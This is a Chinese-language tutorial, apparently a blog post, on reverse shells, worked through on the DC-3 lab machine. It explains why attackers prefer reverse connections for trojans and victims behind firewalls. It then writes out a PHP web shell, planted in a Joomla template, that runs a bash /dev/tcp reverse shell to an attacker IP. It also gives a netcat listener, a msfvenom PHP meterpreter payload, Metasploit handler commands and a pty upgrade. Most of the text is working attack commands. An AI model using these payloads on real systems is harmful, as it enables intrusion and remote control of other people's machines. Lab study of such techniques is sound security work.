目录
1.反弹shell简介
反弹shell是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
2.为什么要进行反弹shell
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1. 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2. 它的ip会动态改变,你不能持续控制。
3. 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹 shell。
3.反弹shell的演示
1.bash反弹shell
这里以dc-3靶场为例,具体的操作流程我在上一篇文章中发布过了,下面是链接。
编辑
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.120.129/1234 0>&1' ");?>
bash -i >& /dev/tcp/攻击端ip/4100 0>&1
bash -i表示启动一个交互式的shell;>&
这个交互式shell的标准输出和标准错误输出,重定向到这socket上/dev/tcp/攻击端ip/4100,也即发送到/dev/tcp/攻击端ip/4100远端;
0>&1 标准输入重定向到标准输出上;
简而言之,就是启动一个交互式shell,这个交互式shell的输入来自攻击端,输出也到攻击端。
编辑
本地监听1234端口
nc -lvvp 1234
编辑
然后登陆下面这个网址,也就是index.php所在的位置。
http://192.168.143.136/templates/beez3/index.php
此时,可以看到反弹shell成功。
编辑
2.msf反弹shell
MSF制作PHP木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.120.129 LPORT=4444
编辑
直接将内容粘贴至component.php
编辑
MSF建立会话
#1.使用Handler模块 msf6 >use exploit/multi/handler #2.设置payload msf6> set payload php/meterpreter/reverse_tcp #3.设置监听IP msf6> set LHOST 192.168.120.129 #4.设置监听端口 msf6> set LPORT 4444 #开启监听 msf6> run
开启监听后,当我们访问http://dc-3/templates/beez3/component.php,即可得到会话
系统提权
此时进入shell,发现看不到命令提示,使用python进入伪终端。
python -c 'import pty;pty.spawn("/bin/bash")'
编辑